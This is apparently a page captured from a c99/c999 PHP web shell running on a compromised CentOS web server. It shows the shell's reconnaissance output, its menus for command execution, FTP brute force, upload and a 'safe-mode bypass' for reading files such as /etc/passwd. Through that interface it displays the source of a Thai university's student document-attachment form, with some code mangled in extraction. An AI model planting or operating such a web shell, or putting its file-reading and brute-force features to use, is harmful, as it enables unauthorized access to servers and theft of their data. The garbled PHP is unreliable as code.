!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/esa/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_studentAcademicAttach.php (4.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="JavaScript1.2">
function checkDocFile() {
    var docFile, docName, cnt, check;

    docFile = document.getElementById('docFile').value;
    docName = document.getElementById('docName').value;
    cnt = document.getElementById('cnt').value;

    if(docFile!="" && docName=="") {
        alert("กรุณากป้อนชื่อเอกสาร!!");
        return false;
    }
    if(docName=="") {
        alert("กรุณาป้อนชื่อเอกสาร!!");
        return false;
    } else if(docFile=="") {
        alert("กรุณาแนบเอกสาร");
        return false;
    }

    return chkboxRequire('chk');
}
</script>
<?php echo form_open_multipart($this->config->item("sa_folder")."academic/srw_attachFile", array("name" => "myform""id" => "myform"));?>
<table width="80%" align="center">
    <tr>
        <td align="center"><h3>แนบ/แก้ไขเอกสารผลงานวิชาการและนวัตกรรม</h3></td>
    </tr>
    <tr>
        <td><table id="table_show" class='tb_1' width="100%" border="0">
            <tr>
                <th colspan="3">ผลงานวิชาการ/นวัตกรรม : <?php echo $srwRewardName;?>
                <input type="hidden" name="srwRewardName" id="srwRewardName" value="<?php echo $srwRewardName;?>" />
                <input type="hidden" name="srwReceiveDate" id="srwReceiveDate" value="<?php echo $srwReceiveDate;?>" /></th>
            </tr>
            <tr>
                <td colspan="3"><table width="100%">
                    <tr>
                        <td colspan="2"><b>แสดงเอกสารประกอบ</b></td>
                    </tr>
<?php
            $k 
0;
            if(isset(
$rs_srwu) && $rs_srwu->num_rows()) {
                foreach(
$rs_srwu->result() as $filesrwu) {
?>
                    <tr>
                        <td align="center" width="10px"><?php echo $k+1;?></td>
                        <td><?php echo $filesrwu->srwuFileName;?>&nbsp;&nbsp;
<?php
                        
if(isset($stdId) && $stdId!="") {
?>
                        <span onClick="confirmDel2({'srwRewardName':'<?php echo $filesrwu->srwRewardName;?>', 'srwReceiveDate':'<?php echo $filesrwu->srwReceiveDate;?>','srwuFileName':'<?php echo $filesrwu->srwuFileName;?>','del':'<?php echo 'del';?>','stdId':<?php echo $stdId;?>}, 'f_delfile','srw_attachFile')" /><?php echo img($this->config->item('sa_image_del'));?></span>
<?php
                        
} else {
?>
                        <span onClick="confirmDel2({'srwRewardName':'<?php echo $filesrwu->srwRewardName;?>', 'srwReceiveDate':'<?php echo $filesrwu->srwReceiveDate;?>','srwuFileName':'<?php echo $filesrwu->srwuFileName;?>','del':'<?php echo 'del';?>'}, 'f_delfile','srw_attachFile')" /><?php echo img($this->config->item('sa_image_del'));?></span>
<?php
                        
}
?>
</td>
                    </tr>
<?php
                    $k
++;
                }
            }
?>
                </table></td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%">
                    <tr>
                        <td colspan="2"><b>แนบเอกสารประกอบ</b></td>
                    </tr>
                    <tr>
                        <td>ชื่อเอกสาร</td>
                        <td><input type="text" name="docName" id="docName" size="30" maxlength="70" value="" />
                        <span class="error"> *</span>
                        <?php echo form_error('docName');?></td>
                    </tr>
                    <tr>
                        <td>แนบเอกสาร</td>
                        <td><input type="file" name="docFile" id="docFile" value="" />
                        <span class="error"> (ขนาดไฟล์ไม่เกิน 2 MB)</span>
                        <?php echo form_error('docFile');?></td>
                    </tr>
                </table></td>
            </tr>
            <tr>
                <th width="50px">เลือก</th>
                <th width="120px">รหัสนักศึกษา</th>
                <th>ชื่อ-สกุลนักศึกษา</th>
            </tr>
<?php
    $i 
0;
    if(isset(
$rs_srw) && $rs_srw->num_rows()) {
        foreach(
$rs_srw->result() as $row_srw) {
?>
            <tr>
                <td align="center"><input class="chk" type="checkbox" name="stdId<?php echo $i;?>" id="stdId<?php echo $i;?>" value="Y" <?php echo set_value('stdId'.$i)!="" "checked" "";?> /></td>
                <td align="center"><?php echo $row_srw->stdCode;?></td>
                <td><?php echo $row_srw->prefixName.$row_srw->stdName." ".$row_srw->stdSurname;?></td>
            </tr>
<?php
            $i
++;
        }
    }
?>
            <tr>
                <td colspan="3">
                <input type="button" name="chkAll" value="เลือกทั้งหมด" onClick="doCheckAll(this.form, true)" <?php echo ($i == 0) ? 'disabled' '';?> />
                <input type="button" name="cancelAll" value="ยกเลิกทั้งหมด" onClick="doCheckAll(this.form, false)" <?php echo ($i == 0) ? 'disabled' '';?> /></td>
            </tr>
        </table></td>
    </tr>
    <tr>
        <td align="center"><br />
        <input type="submit" name="add" id="add" value="บันทึก" onClick="return checkDocFile()" />
        <input type="button" name="back" id="back" value="ย้อนกลับ" onclick="location.href='<?php echo site_url()."/".$this->config->item('sa_folder').'academic/srw_input';?>'" />
        <input type="hidden" name="cnt" id="cnt" value="<?php echo $i;?>" />
        <input type="hidden" name="stdId" id="stdId" value="<?php echo isset($stdId) ? $stdId "";?>" />
        </td>
    </tr>
</table>
<?php echo form_close();?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--